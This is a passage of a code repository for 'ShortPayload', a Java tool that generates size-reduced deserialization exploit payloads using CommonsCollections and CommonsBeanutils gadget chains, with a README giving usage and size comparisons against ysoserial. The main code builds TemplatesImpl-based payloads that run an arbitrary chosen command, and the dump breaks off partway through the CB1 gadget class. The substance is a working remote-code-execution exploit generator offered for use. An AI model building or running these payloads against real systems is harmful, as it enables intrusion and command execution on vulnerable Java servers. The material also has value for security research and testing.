├── .gitignore
├── LICENSE
├── README.md
├── pom.xml
└── src
└── main
└── java
└── org
└── sec
├── Main.java
├── asm
├── Resolver.java
├── ShortClassVisitor.java
└── ShortMethodAdapter.java
└── payload
├── CB1.java
├── CC1.java
├── CC2.java
├── CC3.java
├── CC4.java
├── CC5.java
├── CC6.java
├── CC7.java
├── CCK1.java
├── CCK2.java
├── CCK3.java
├── CCK4.java
├── Generator.java
└── Payload.java
/.gitignore:
--------------------------------------------------------------------------------
1 | # Operating System Files
2 |
3 | *.DS_Store
4 | Thumbs.db
5 | *.sw?
6 | .#*
7 | *#
8 | *~
9 | *.sublime-*
10 |
11 | # Build Artifacts
12 |
13 | .gradle/
14 | build/
15 | target/
16 | bin/
17 | dependency-reduced-pom.xml
18 |
19 | # Eclipse Project Files
20 |
21 | .classpath
22 | .project
23 | .settings/
24 |
25 | # IntelliJ IDEA Files
26 |
27 | *.iml
28 | *.ipr
29 | *.iws
30 | *.idea
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 |
2 | Apache License
3 | Version 2.0, January 2004
4 | http://www.apache.org/licenses/
5 |
6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7 |
8 | 1. Definitions.
9 |
10 | "License" shall mean the terms and conditions for use, reproduction,
11 | and distribution as defined by Sections 1 through 9 of this document.
12 |
13 | "Licensor" shall mean the copyright owner or entity authorized by
14 | the copyright owner that is granting the License.
15 |
16 | "Legal Entity" shall mean the union of the acting entity and all
17 | other entities that control, are controlled by, or are under common
18 | control with that entity. For the purposes of this definition,
19 | "control" means (i) the power, direct or indirect, to cause the
20 | direction or management of such entity, whether by contract or
21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
22 | outstanding shares, or (iii) beneficial ownership of such entity.
23 |
24 | "You" (or "Your") shall mean an individual or Legal Entity
25 | exercising permissions granted by this License.
26 |
27 | "Source" form shall mean the preferred form for making modifications,
28 | including but not limited to software source code, documentation
29 | source, and configuration files.
30 |
31 | "Object" form shall mean any form resulting from mechanical
32 | transformation or translation of a Source form, including but
33 | not limited to compiled object code, generated documentation,
34 | and conversions to other media types.
35 |
36 | "Work" shall mean the work of authorship, whether in Source or
37 | Object form, made available under the License, as indicated by a
38 | copyright notice that is included in or attached to the work
39 | (an example is provided in the Appendix below).
40 |
41 | "Derivative Works" shall mean any work, whether in Source or Object
42 | form, that is based on (or derived from) the Work and for which the
43 | editorial revisions, annotations, elaborations, or other modifications
44 | represent, as a whole, an original work of authorship. For the purposes
45 | of this License, Derivative Works shall not include works that remain
46 | separable from, or merely link (or bind by name) to the interfaces of,
47 | the Work and Derivative Works thereof.
48 |
49 | "Contribution" shall mean any work of authorship, including
50 | the original version of the Work and any modifications or additions
51 | to that Work or Derivative Works thereof, that is intentionally
52 | submitted to Licensor for inclusion in the Work by the copyright owner
53 | or by an individual or Legal Entity authorized to submit on behalf of
54 | the copyright owner. For the purposes of this definition, "submitted"
55 | means any form of electronic, verbal, or written communication sent
56 | to the Licensor or its representatives, including but not limited to
57 | communication on electronic mailing lists, source code control systems,
58 | and issue tracking systems that are managed by, or on behalf of, the
59 | Licensor for the purpose of discussing and improving the Work, but
60 | excluding communication that is conspicuously marked or otherwise
61 | designated in writing by the copyright owner as "Not a Contribution."
62 |
63 | "Contributor" shall mean Licensor and any individual or Legal Entity
64 | on behalf of whom a Contribution has been received by Licensor and
65 | subsequently incorporated within the Work.
66 |
67 | 2. Grant of Copyright License. Subject to the terms and conditions of
68 | this License, each Contributor hereby grants to You a perpetual,
69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70 | copyright license to reproduce, prepare Derivative Works of,
71 | publicly display, publicly perform, sublicense, and distribute the
72 | Work and such Derivative Works in Source or Object form.
73 |
74 | 3. Grant of Patent License. Subject to the terms and conditions of
75 | this License, each Contributor hereby grants to You a perpetual,
76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77 | (except as stated in this section) patent license to make, have made,
78 | use, offer to sell, sell, import, and otherwise transfer the Work,
79 | where such license applies only to those patent claims licensable
80 | by such Contributor that are necessarily infringed by their
81 | Contribution(s) alone or by combination of their Contribution(s)
82 | with the Work to which such Contribution(s) was submitted. If You
83 | institute patent litigation against any entity (including a
84 | cross-claim or counterclaim in a lawsuit) alleging that the Work
85 | or a Contribution incorporated within the Work constitutes direct
86 | or contributory patent infringement, then any patent licenses
87 | granted to You under this License for that Work shall terminate
88 | as of the date such litigation is filed.
89 |
90 | 4. Redistribution. You may reproduce and distribute copies of the
91 | Work or Derivative Works thereof in any medium, with or without
92 | modifications, and in Source or Object form, provided that You
93 | meet the following conditions:
94 |
95 | (a) You must give any other recipients of the Work or
96 | Derivative Works a copy of this License; and
97 |
98 | (b) You must cause any modified files to carry prominent notices
99 | stating that You changed the files; and
100 |
101 | (c) You must retain, in the Source form of any Derivative Works
102 | that You distribute, all copyright, patent, trademark, and
103 | attribution notices from the Source form of the Work,
104 | excluding those notices that do not pertain to any part of
105 | the Derivative Works; and
106 |
107 | (d) If the Work includes a "NOTICE" text file as part of its
108 | distribution, then any Derivative Works that You distribute must
109 | include a readable copy of the attribution notices contained
110 | within such NOTICE file, excluding those notices that do not
111 | pertain to any part of the Derivative Works, in at least one
112 | of the following places: within a NOTICE text file distributed
113 | as part of the Derivative Works; within the Source form or
114 | documentation, if provided along with the Derivative Works; or,
115 | within a display generated by the Derivative Works, if and
116 | wherever such third-party notices normally appear. The contents
117 | of the NOTICE file are for informational purposes only and
118 | do not modify the License. You may add Your own attribution
119 | notices within Derivative Works that You distribute, alongside
120 | or as an addendum to the NOTICE text from the Work, provided
121 | that such additional attribution notices cannot be construed
122 | as modifying the License.
123 |
124 | You may add Your own copyright statement to Your modifications and
125 | may provide additional or different license terms and conditions
126 | for use, reproduction, or distribution of Your modifications, or
127 | for any such Derivative Works as a whole, provided Your use,
128 | reproduction, and distribution of the Work otherwise complies with
129 | the conditions stated in this License.
130 |
131 | 5. Submission of Contributions. Unless You explicitly state otherwise,
132 | any Contribution intentionally submitted for inclusion in the Work
133 | by You to the Licensor shall be under the terms and conditions of
134 | this License, without any additional terms or conditions.
135 | Notwithstanding the above, nothing herein shall supersede or modify
136 | the terms of any separate license agreement you may have executed
137 | with Licensor regarding such Contributions.
138 |
139 | 6. Trademarks. This License does not grant permission to use the trade
140 | names, trademarks, service marks, or product names of the Licensor,
141 | except as required for reasonable and customary use in describing the
142 | origin of the Work and reproducing the content of the NOTICE file.
143 |
144 | 7. Disclaimer of Warranty. Unless required by applicable law or
145 | agreed to in writing, Licensor provides the Work (and each
146 | Contributor provides its Contributions) on an "AS IS" BASIS,
147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148 | implied, including, without limitation, any warranties or conditions
149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150 | PARTICULAR PURPOSE. You are solely responsible for determining the
151 | appropriateness of using or redistributing the Work and assume any
152 | risks associated with Your exercise of permissions under this License.
153 |
154 | 8. Limitation of Liability. In no event and under no legal theory,
155 | whether in tort (including negligence), contract, or otherwise,
156 | unless required by applicable law (such as deliberate and grossly
157 | negligent acts) or agreed to in writing, shall any Contributor be
158 | liable to You for damages, including any direct, indirect, special,
159 | incidental, or consequential damages of any character arising as a
160 | result of this License or out of the use or inability to use the
161 | Work (including but not limited to damages for loss of goodwill,
162 | work stoppage, computer failure or malfunction, or any and all
163 | other commercial damages or losses), even if such Contributor
164 | has been advised of the possibility of such damages.
165 |
166 | 9. Accepting Warranty or Additional Liability. While redistributing
167 | the Work or Derivative Works thereof, You may choose to offer,
168 | and charge a fee for, acceptance of support, warranty, indemnity,
169 | or other liability obligations and/or rights consistent with this
170 | License. However, in accepting such obligations, You may act only
171 | on Your own behalf and on Your sole responsibility, not on behalf
172 | of any other Contributor, and only if You agree to indemnify,
173 | defend, and hold each Contributor harmless for any liability
174 | incurred by, or claims asserted against, such Contributor by reason
175 | of your accepting any such warranty or additional liability.
176 |
177 | END OF TERMS AND CONDITIONS
178 |
179 | APPENDIX: How to apply the Apache License to your work.
180 |
181 | To apply the Apache License to your work, attach the following
182 | boilerplate notice, with the fields enclosed by brackets "[]"
183 | replaced with your own identifying information. (Don't include
184 | the brackets!) The text should be enclosed in the appropriate
185 | comment syntax for the file format. We also recommend that a
186 | file or class name and description of purpose be included on the
187 | same "printed page" as the copyright notice for easier
188 | identification within third-party archives.
189 |
190 | Copyright [yyyy] [name of copyright owner]
191 |
192 | Licensed under the Apache License, Version 2.0 (the "License");
193 | you may not use this file except in compliance with the License.
194 | You may obtain a copy of the License at
195 |
196 | http://www.apache.org/licenses/LICENSE-2.0
197 |
198 | Unless required by applicable law or agreed to in writing, software
199 | distributed under the License is distributed on an "AS IS" BASIS,
200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
201 | See the License for the specific language governing permissions and
202 | limitations under the License.
203 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # ShortPayload
2 |
3 | 极致缩小`Java`反序列化`Payload`
4 |
5 | 使用:`java -jar ShortPayload.jar [gadget-name] [command]`
6 |
7 | 例如:`java -jar ShortPayload.jar CC6 "calc.exe"`
8 |
9 | 相关技术文章:https://xz.aliyun.com/t/10824
10 |
11 | ## 效果
12 |
13 | 注意:这里的长度是指反序列化`Payload`进行`Base64`编码后的长度
14 |
15 | | 反序列化链 | YSOSERIAL长度 | 缩小后长度 | 缩小率 |
16 | |:--------------------:|:-----------:|:-----:|:-----:|
17 | | CommonsBeanutils1 | 3692 | 1296 | 64.8% |
18 | | CommonsCollections1 | 1868 | 1748 | 6.4% |
19 | | CommonsCollections2 | 4176 | 1708 | 41.4% |
20 | | CommonsCollections3 | 4784 | 2444 | 48.9% |
21 | | CommonsCollections4 | 4720 | 2256 | 52.2% |
22 | | CommonsCollections5 | 2772 | 3044 | -8.9% |
23 | | CommonsCollections6 | 1708 | 1560 | 8.6% |
24 | | CommonsCollections7 | 1700 | 1636 | 3.7% |
25 | | CommonsCollectionsK1 | 2464 | 1708 | 30.6% |
26 | | CommonsCollectionsK2 | 2472 | 1716 | 30.5% |
27 | | CommonsCollectionsK3 | 1644 | 1604 | 2.4% |
28 | | CommonsCollectionsK4 | 1652 | 1612 | 2.4% |
29 |
30 |
31 |
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.sec
8 | ShortPayload
9 | 1.0
10 |
11 |
12 | 8
13 | 8
14 |
15 | UTF-8
16 |
17 | true
18 |
19 |
20 |
21 |
22 | commons-beanutils
23 | commons-beanutils
24 | 1.9.2
25 |
26 |
27 | org.apache.commons
28 | commons-collections4
29 | 4.0
30 |
31 |
32 | org.ow2.asm
33 | asm
34 | 9.2
35 |
36 |
37 | org.ow2.asm
38 | asm-commons
39 | 9.2
40 |
41 |
42 | org.javassist
43 | javassist
44 | 3.28.0-GA
45 |
46 |
47 |
48 |
49 |
50 |
51 | maven-assembly-plugin
52 |
53 | false
54 |
55 | jar-with-dependencies
56 |
57 |
58 |
59 | org.sec.Main
60 |
61 |
62 |
63 |
64 |
65 | make-assembly
66 | package
67 |
68 | assembly
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/src/main/java/org/sec/Main.java:
--------------------------------------------------------------------------------
1 | package org.sec;
2 |
3 | import org.sec.asm.Resolver;
4 | import org.sec.payload.*;
5 |
6 | import java.io.File;
7 | import java.lang.reflect.Method;
8 | import java.nio.file.Files;
9 | import java.nio.file.Paths;
10 | import java.util.Base64;
11 | import java.util.Locale;
12 |
13 | public class Main {
14 | private static String gadgetName;
15 | private static String command;
16 | private static boolean debug = false;
17 |
18 | public static void main(String[] args) throws Exception {
19 | parseInput(args);
20 | switch (gadgetName) {
21 | case "CB1":
22 | System.out.println("CommonsBeanutils1");
23 | resolveTemplatesPayload(CB1.class, command, debug);
24 | break;
25 | case "CC1":
26 | System.out.println("CommonsCollections1");
27 | resolveNormalPayload(CC1.class, command, debug);
28 | break;
29 | case "CC2":
30 | System.out.println("CommonsCollections2");
31 | resolveTemplatesPayload(CC2.class, command, debug);
32 | break;
33 | case "CC3":
34 | System.out.println("CommonsCollections3");
35 | resolveTemplatesPayload(CC3.class, command, debug);
36 | break;
37 | case "CC4":
38 | System.out.println("CommonsCollections4");
39 | resolveTemplatesPayload(CC4.class, command, debug);
40 | break;
41 | case "CC5":
42 | System.out.println("CommonsCollections5");
43 | resolveNormalPayload(CC5.class, command, debug);
44 | break;
45 | case "CC6":
46 | System.out.println("CommonsCollections6");
47 | resolveNormalPayload(CC6.class, command, debug);
48 | break;
49 | case "CC7":
50 | System.out.println("CommonsCollections7");
51 | resolveNormalPayload(CC7.class, command, debug);
52 | break;
53 | case "CCK1":
54 | System.out.println("CommonsCollectionsK1");
55 | resolveTemplatesPayload(CCK1.class, command, debug);
56 | break;
57 | case "CCK2":
58 | System.out.println("CommonsCollectionsK2");
59 | resolveTemplatesPayload(CCK2.class, command, debug);
60 | break;
61 | case "CCK3":
62 | System.out.println("CommonsCollectionsK3");
63 | resolveNormalPayload(CCK3.class, command, debug);
64 | break;
65 | case "CCK4":
66 | System.out.println("CommonsCollectionsK4");
67 | resolveNormalPayload(CCK4.class, command, debug);
68 | break;
69 | default:
70 | System.out.println("error gadget name");
71 | }
72 | }
73 |
74 | private static void parseInput(String[] args) {
75 | if (args.length < 2) {
76 | System.out.println("usage: java -jar ShortPayload.jar [gadget-name] [command]");
77 | return;
78 | } else if (args.length == 3) {
79 | gadgetName = args[0];
80 | command = args[1];
81 | debug = true;
82 | } else {
83 | gadgetName = args[0];
84 | command = args[1];
85 | }
86 | if ((command.startsWith("'") && command.endsWith("'")) ||
87 | (command.startsWith("\"") && command.endsWith("\""))) {
88 | command = command.substring(1, command.length() - 1);
89 | }
90 | gadgetName = gadgetName.toUpperCase(Locale.ROOT);
91 | }
92 |
93 | private static void resolveNormalPayload(Class> target,
94 | String command, boolean debug) throws Exception {
95 | Method method = target.getMethod("getPayloadUseCommand", String.class);
96 | byte[] payload = (byte[]) method.invoke(null, command);
97 | byte[] data = Base64.getEncoder().encode(payload);
98 | System.out.println("Payload length: " + new String(data).length());
99 | System.out.println("Write Base64 Payload output.txt...");
100 | Files.write(Paths.get("output.txt"), data);
101 | if (debug) {
102 | Payload.deserialize(Base64.getDecoder().decode(data));
103 | }
104 | }
105 |
106 | @SuppressWarnings("all")
107 | private static void resolveTemplatesPayload(Class> target,
108 | String command, boolean debug) throws Exception {
109 | String path = System.getProperty("user.dir") + File.separator + "Evil.class";
110 | Generator.saveTemplateImpl(path, command);
111 | Resolver.resolve("Evil.class");
112 | byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
113 | Method method = target.getMethod("getPayloadUseByteCodes", byte[].class);
114 | byte[] payload = Base64.getEncoder().encode((byte[]) method.invoke(null, newByteCodes));
115 | System.out.println("Payload length: " + new String(payload).length());
116 | System.out.println("Write Base64 Payload output.txt...");
117 | Files.write(Paths.get("output.txt"), payload);
118 | if (debug) {
119 | Payload.deserialize(Base64.getDecoder().decode(payload));
120 | }
121 | Files.delete(Paths.get("Evil.class"));
122 | }
123 | }
124 |
--------------------------------------------------------------------------------
/src/main/java/org/sec/asm/Resolver.java:
--------------------------------------------------------------------------------
1 | package org.sec.asm;
2 |
3 | import org.objectweb.asm.ClassReader;
4 | import org.objectweb.asm.ClassVisitor;
5 | import org.objectweb.asm.ClassWriter;
6 | import org.objectweb.asm.Opcodes;
7 |
8 | import java.nio.file.Files;
9 | import java.nio.file.Paths;
10 |
11 |
12 | public class Resolver {
13 | public static void resolve(String path) {
14 | try {
15 | byte[] bytes = Files.readAllBytes(Paths.get(path));
16 | ClassReader cr = new ClassReader(bytes);
17 | ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
18 | int api = Opcodes.ASM9;
19 | ClassVisitor cv = new ShortClassVisitor(api, cw);
20 | int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
21 | cr.accept(cv, parsingOptions);
22 | byte[] out = cw.toByteArray();
23 | Files.write(Paths.get(path), out);
24 | } catch (Exception e) {
25 | e.printStackTrace();
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/src/main/java/org/sec/asm/ShortClassVisitor.java:
--------------------------------------------------------------------------------
1 | package org.sec.asm;
2 |
3 | import org.objectweb.asm.ClassVisitor;
4 | import org.objectweb.asm.MethodVisitor;
5 |
6 | public class ShortClassVisitor extends ClassVisitor {
7 | private final int api;
8 |
9 | public ShortClassVisitor(int api, ClassVisitor classVisitor) {
10 | super(api, classVisitor);
11 | this.api = api;
12 | }
13 |
14 | @Override
15 | public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
16 | // delete transform method
17 | if (name.equals("transform")) {
18 | return null;
19 | }
20 | MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
21 | return new ShortMethodAdapter(this.api, mv, name);
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/src/main/java/org/sec/asm/ShortMethodAdapter.java:
--------------------------------------------------------------------------------
1 | package org.sec.asm;
2 |
3 | import org.objectweb.asm.Label;
4 | import org.objectweb.asm.MethodVisitor;
5 | import org.objectweb.asm.Opcodes;
6 |
7 | public class ShortMethodAdapter extends MethodVisitor implements Opcodes {
8 |
9 | public ShortMethodAdapter(int api, MethodVisitor mv, String methodName) {
10 | super(api,mv);
11 | }
12 |
13 | @Override
14 | public void visitLineNumber(int line, Label start) {
15 | // delete line number
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/src/main/java/org/sec/payload/CB1.java:
--------------------------------------------------------------------------------
1 | package org.sec.payload;
2 |
3 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
5 | import org.apache.commons.beanutils.BeanComparator;
6 |
7 | import java.util.PriorityQueue;
8 |
9 | @SuppressWarnings("all")
10 | public class CB1 extends Payload {
11 | public static byte[] getPayloadUseCommand(String cmd) {
12 | byte[] code = Generator.getTemplateImplBytes(cmd);
13 | return getPayloadUseByteCodes(code);
14 | }
15 |
16 | public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
17 | try {
18 | TemplatesImpl templates = new TemplatesImpl();
19 | setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
20 | setFieldValue(templates, "_name", "t");
21 | setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
22 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
23 | final PriorityQueue